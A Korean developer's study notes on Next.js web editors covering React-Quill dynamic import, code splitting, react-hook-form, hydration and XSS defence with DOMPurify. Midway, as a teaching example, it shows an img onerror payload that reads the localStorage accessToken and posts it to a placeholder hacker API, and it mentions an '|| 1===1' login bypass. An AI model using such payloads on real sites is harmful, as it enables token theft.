게시글을 등록할 때 필요한 input, textarea 태그는 내용을 입력할 때 줄 바꿈을 주었더라도 내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면 한 줄로 내용을 출력하게 된다.
그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나 폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요하지만, textarea 태그는 그러한 기능을 제공하지 않는다.
이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는 웹 에디터 라이브러리들이 있다.
React Draft Wysiwyg
React Quill -> 다운로드 수 가장 많다.
toast-ui-editor -> 국내에서 사용하고 다운로드 수도 많다.
localStroage, window, document 에러와 마찬가지로 document.getElementBy('id')에서 가져오는 것처럼 이 에러는 html과 관련있고 브라우저에서 document를 찾을 수 없다는 에러이다.
React-Quill 안에서 document에 접근하고 있다고 예상할 수 있다.
프로그램을 실행시키면 처음에 프로그램이 프론트엔드 서버(Webpack Server)에서 한번 실행하고 브라우저로 가지고 와서 화면에 그려주는데, 이렇게 프론트엔드 서버에서 html을 받아오기 전에 실행되는 것을 pre-rendering
이라 한다.
Next.js 는 기본적으로 서버사이드 렌더링
을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
브라우저에서 그리면 문제가 없었겠지만 프론트엔드 서버에서 프로그램을 실행시켜서 window 또는 document object 를 선언하기 전
이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것이다.
위 문제를 해결하기 위해 브라우저에만 보여주도록 하는 3가지 방법
1. useEffect
2. typeof window
3. process.browser
if(typeof window === "undefined") {
...
}
런타임 시점에서 모듈을 호출
해서 이미 document 가 선언되어 있는 시점의 환경을 제공해줄 수 있다.next/dynamic
에서 가져와 사용했고, 가져온 dynamic내 에서 react-quill을 가져와 ServerSideRendering은 하지 않도록 설정해 주었습니다! import dynamic from "next/dynamic";
const ReactQuill = dynamic(()=>import(‘react-quill’),{ssr:false})
그렇다면 react와 달리 nextjs는 pre-rendering이 있어 두 번씩 그리는데 비효율적인거 아닌가?
그렇지 않다. 이것은 Hydration에서 설명하겠다.
// import ReactQuill from 'react-quill';
import dynamic from 'next/dynamic';
import 'react-quill/dist/quill.snow.css';
const ReactQuill = dynamic(async () => await import('react-quill'), {
ssr: false,
});
export default function WebEditorPage() {
//ReactQuill 만든 사람들이 만든 onChange 이므로 event 안들어옴
const onChangeContents = (value: string) => {
console.log(value);
}
return (
<>
작성자: <input type="text" />
<br />
비밀번호: <input type="password" />
<br />
제목: <input type="text" />
<br />
내용: <ReactQuill onChange={onChangeContents} />
<br />
<button>등록하기</button>
</>
);
}
이런 dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여 한다.
자바스크립트가 한 줄씩 실행된다고 했는데, 함수는 선언만 될 뿐이지 안에 있는 내용이 실행되는 것이 아니다. 실행은 실제로 그 이벤트가 발생했을때, 등록하기를 클릭하거나 change가 일어났을 때 실행되는 것이다. 페이지에 처음 접속했을때 스크립트에서 실행되는 것(jsx 부분은 실행됨)은 단지 선언뿐이고 함수 내부의 실행 시점은 이벤트가 발생했을 때이다.
페이지에 접속하면 Html 뿐만 아니라 사용하고 있는 import도 다운받아오는데, 개발자도구 - Network tab에 보면 다운로드 받게 오는게 많아지고 DOMContentLoaded가 길어져 첫 페이지의 로딩시간이 오래걸린다.
카카오맵 할 때도 모든 페이지에서 다운받지 않은 이유가 로딩시간을 단축시키기 위함이다.
전체 페이지에서 17번째 줄의 Modal이 한 번만 사용된다하면 import를 하여 처음부터 Modal을 다운 받아오는 것이 아니기 때문에 처음 페이지 렌더링 속도는 빨라지고 등록하기를 클릭했을때 import해와서 모달을 띄워주면 된다.
React에서는 바로 사용하는 dynamic import이고 next는 pre-rendering이 있기에 서버에서 import 되는 것을 막기 위해서 dynamic import 해준다.
const {Modal} = await import('antd');
Modal.success({content: '등록 성공'}); // code-splitting (코드 스플릿팅)
코드 스플릿팅
이라 한다. 정리
반드시 다운로드를 받아도 되지 않아도 되는 부분은dynamic import
를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.따라서 성능최적화에도 기여한다.
이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서
코드 스플릿팅
이라고 한다.
======> 코드 넣기( 모달 삽입된 )
setValue
를 이용하면 된다. setValue 안에 key값으로 제목인지, 비밀번호인지, 내용인지 적어주고 value를 강제로 넣어주어야 한다.<u>
, <strong>
등의 html 태그를 붙여서 데이터베이스에 저장했는데, 에디터 입력칸의 모든 내용을 지워도 <p><br><p>
가 기본적으로 남아있다!삼항연산자
를 사용해 처리해 주어 강제로 초기화해주었다. 그럼 저장된 값은 실제로 빈 값이 들어간다.const { register, setValue } = useForm({
mode: "onChange",
});
// ReactQuill 만든 사람들이 만든 OnChange 이므로 Event 안들어옴
const onChangeContents = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주느 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
};
trigger
가 useForm에 내장되어 있다. const { trigger } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// onChange 됐다고 React-hook-form에 강제로 알려주는 기능!!
void trigger('contents');
};
===== 전체코드 ㄱ삽입=====
export default function WebEditorPage() {
const router = useRouter();
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
const onClickSubmit = async (data: IFormValues) => {
if (!(data.writer && data.password && data.title && data.contents)) {
Modal.warning({ content: "필수 입력 사항입니다." });
return;
}
try {
const result = await createBoard({
variables: {
createBoardInput: {
writer: data.writer,
password: data.password,
title: data.title,
contents: data.contents,
},
},
});
// 완료된 페이지로 이동!!
router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
} catch (error) {
if (error instanceof Error) Modal.error({ title: error.message });
}
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에 HTML 태그들을 노출하지 않으면서 HTML 태그 기능만 적용된 형태
로 화면에 출력해야 한다.
그런데 우리가 사용하고 있는 React 프로젝트에서는 기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있다.
React를 쓰는게 아닌 HTML에 직접 삽입하는 방법으로 코드를 실행해서 변형해서 실질적인 내용만 보여주기
dangerouslySetInnerHTML
속성으로 Html에 태그 자체를 그대로 삽입하는 방법이 있다.
<div dangerouslySetInnerHTML={{ __html : data?.fetchBoard.contents(HTML 태그 추가) }} />
dangerouslySetInnerHTML
는 div 또는 span 태그
에 제공되는 속성인데, 위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html
속성 값에 추가하려는 데이터를 입력해주면 된다.dangerouslySetInnerHTML
속성을 이용해 div 태그에 입력해주면 HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있다.export default function WebEditorDetail() {
const router = useRouter();
const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
FETCH_BOARD,
{
variables: { boardId: String(router.query.id) },
}
);
return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
</div>
);
}
웹에디터에 입력한 html 태그가 적용된 형태
로 내용을 받아올 수 있다.크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 한다.ReactQuill에서 위 그림과 같이 <script>...</script>
에서 <> 부분을 lt(less than), gt(greater than)으로 들어가서 태그로 실행되지 않기 때문에 1차적인 방어가 된다.
html에서 태그로 실행해줘! dangerouslySetInnerHTML
라는 태그를 썼음에도 불구하고 태그로 등록되지 않고 문자열로 화면에 보여진다.
백엔드가 다이렉트로 해킹당했을 때 태그로 강제로 등록해야 한다.
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />
script는 쉽게 막히기 때문에 위와 같은 img태그에 onerror라는 속성을 더해, 해당 태그를 dangerouslySetInnerHTML
속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있다.
onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소이다. 일반적으로는 대체 이미지 경로를 입력한다.
코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.
예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML
을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있다.
예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을
크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 한다.
dangerouslySetInnerHTML
이라는 속성을 사용해주었다. 하지만 이 방식에는 보안상 큰 맹점이 있다.CrossSiteScript (XSS) 문제점
이 보안상의 문제이다.백엔드 개발자가 playground에 들어오지 못하도록 막아야하고 만약 백엔드에서 뚫려서 playground로 들어오더라도 <> 부분을 처리하여 태그로 실행 안되게끔 해줘야 한다.
프론트엔드에서는 화면에 보여줄 때 innerHTML에서 세팅을 할 때 위와 같은 것이 있다면 한 번 더 막아줘야 한다.
위와 같은 공격 코드가 들어있으면 자동으로 차단해주는 DOMPurify
를 라이브러리를 이용하면 된다.
따라서, XSS공격에서 보안을 더 강화하기 위해 dompurify라는 라이브러리의 sanitize를 활용하여 막아준다.
보완에 대비하여 하는 코딩을 secure coding
이라 한다.
{process.browser &&
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
}
qqq || 1===1
를 넣어주어 뒤에 것이 맞으니 로그인 되도록 하여 accessToken을 가져오는 공격이다.return (
<div>
<div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
{process.browser && (
<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
)}
<div style={{color: "blue"}}>내용: 반갑습니다!<div>
</div>
)
yarn dev해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있다.
Hydration Issue
때문에 이러한 현상이 일어난다. 구체적인 원인을 한 번 살펴보자.
결론 먼저 말하면, 서버에서 pre-rendering 할 때랑 브라우저에서 그릴때와 달라서 이런 문제가 발생한다.
diffing 과정이 실행되고, server에서 pre-rendering된 태그와 browser에서 태그를 비교하고, 서버에서 한번 그려준 내용을 Browser에 그려내는 과정(Hydration)에서 발생하는 오류이다.
서버에서 pre-rendering시 그릴때 없던 것이 브라우저에서 그릴 때 갑자기 생기니 서버에서 그린 것으로 덮어쓰기 된 것이다.
pre-rendering 시 다 그리는 것이 아니라 태그와 CSS 정도만 그려보고 브라우저에 와서 다시 그리는데, 모든 것을 다시 다 그리는 것은 비효율적이니 서버에서 그린 것을 가지고 와서 그린다.
Next.js는 위와 같은 과정을 거쳐 페이지를 그린다.
프론트서버에 그려본 그림을 브라우저에서 그린 그림과 비교를 하게 되는데 이 과정을 diffing
이라고 한다.
이 diffing 단계에서 태그를 기준으로 비교하기 때문에, **프론트엔드 서버에서 pre-rendering된 결과물**
과 **브라우저에서 그려진 결과물**
의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.
그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자
를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.
예시 태그를 다음과 같이 수정하면 서버에서도 green으로 그려놨기 때문에 오류 없이 화면에 렌링되는 것을 확인할 수 있다.
return (
<div>
<div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
{process.browser ? (
<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
) : (
<div style={{color: "green"}} />
)}
<div style={{color: "blue"}}>내용: 반갑습니다!<div>
</div>
)
Q) 그렇다면 이렇게 두 번씩 그리는 Next.js는 비효율적이지 않을까?
A) 전혀 그렇지 않다. 오히려 빠르다.
/
만 만들고 나머지 브라우저는 가짜 주소를 보여준다. Q) 그렇다면 어떻게 해야 처음 접속을 빠르게 할 수 있을까?
A) Next.js를 사용하면 된다.
Q) Next.js는 서버에서 먼저
pre-rendering
하고 결과를 다운로드 받아서 브라우저에서hydration
하니 서버에서도 그리고 브라우저에서도 다시 그리면 더 느린거 아닐까?
A) 배포할 때build
하게 되면, 모든 페이지를 미리 그린.next 폴더
가 만들어진다!
hydration
이라 한다. .next
폴더에 server에 보면 button2
는 안 만들어진 것을 볼 수 있다.OWASP란 Open Web Application Security Project의 약자로 **오픈소스 웹 애플리케이션 보안 프로젝트**
이다.
주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 된다.
OWASP